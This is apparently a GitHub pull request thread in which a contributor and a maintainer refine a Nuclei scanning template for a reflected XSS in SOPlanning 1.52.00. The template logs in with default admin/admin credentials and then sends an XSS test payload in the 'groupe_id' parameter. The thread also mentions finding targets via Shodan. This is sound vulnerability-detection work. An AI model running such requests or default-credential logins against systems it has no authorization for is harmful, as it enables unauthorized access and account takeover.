add so plannig xss

[Kazgangap]

Template / PR Information

add soplannig 1.52.00 xss vuln

https://packetstormsecurity.com/files/178434/SOPlanning-1.52.00-Cross-Site-Scripting.html

SOPlanning v1.52.00 is vulnerable to XSS via the 'groupe_id' parameters a remote unautheticated attacker can hijack the admin account or other users. The remote attacker can hijack a users session or credentials and perform a takeover of the entire platform.

Template Validation

I've validated this template locally?

• YES
• NO

Additional Details (leave it blank if not applicable)

Additional References:

• Nuclei Template Creation Guideline
• Nuclei Template Matcher Guideline
• Nuclei Template Contribution Guideline
• PD-Community Discord server

[DhiyaneshGeek]

Hi @Kazgangap the matcher looks weak , is it possible to update the matcher

Thanks

[Kazgangap]

Hi @Kazgangap the matcher looks weak , is it possible to update the matcher

Thanks

hi @DhiyaneshGeek
I tested it on certain sites with Shodan. I think I overlooked auth is a vulnerability. So I would be glad if you also examine it, we can close the PR accordingly.

[DhiyaneshGeek]

Hi @Kazgangap Yeah looks like authentication is involved, if you can update the template with Login Request and update additional matcher. it will be great

Thanks

[Kazgangap]

Hello again @DhiyaneshGeek
As you said, I added a login section and set admin admin by default. Then PoC is applied. I have seen such accounts on Shodan. I tested it on the demo site and it works. You can test it yourself. Link: https://demo.soplanning.org
Also, the person who found this vulnerability has applied for CVE and you can change the name if you want. I guess the CVE number has not been approved yet. CVE-2024-33724 PoC link: https://github.com/fuzzlove/soplanning-1.52-exploits

id: soplanning-xss

info:
  name: SOPlanning 1.52.00 Cross Site Scripting
  author: Kazgangap
  severity: high
  description: |
    SOPlanning v1.52.00 is vulnerable to reflected cross-site scripting (XSS) via the 'groupe_id' parameter.A remote unauthenticated attacker can inject JavaScript code leading to session hijacking or account takeover.
  reference:
    - https://packetstormsecurity.com/files/178434/SOPlanning-1.52.00-Cross-Site-Scripting.html
  metadata:
    vendor: soplanning
    product: soplanning
    shodan-query: html:"soplanning"
  tags: packetstorm,xss,soplanning
  
http:
  - raw:
      - |-
        POST /process/login.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate, br
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 26
        Upgrade-Insecure-Requests: 1
        Sec-Fetch-Dest: document
        Sec-Fetch-Mode: navigate
        Sec-Fetch-Site: same-origin
        Sec-Fetch-User: ?1
        Te: trailers
        Connection: close

        login={{username}}&password={{password}}
        
      - |+
        GET /process/groupe_save.php?saved=1&groupe_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C!--&nom=Project+New HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate, br
        Upgrade-Insecure-Requests: 1
        Sec-Fetch-Dest: document
        Sec-Fetch-Mode: navigate
        Sec-Fetch-Site: none
        Sec-Fetch-User: ?1
        Te: trailers
        Connection: close

    payloads:
      username:
        - admin
      password:
        - admin
    attack: pitchfork

    redirects: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<script>alert(document.domain)</script>"
        part: body
      - type: status
        status:
          - 200

[DhiyaneshGeek]

Hi @Kazgangap

Thank you so much for sharing the updated template

Can you raise a New PR for Default Login for this SOPlanning , that will be a great addition

😄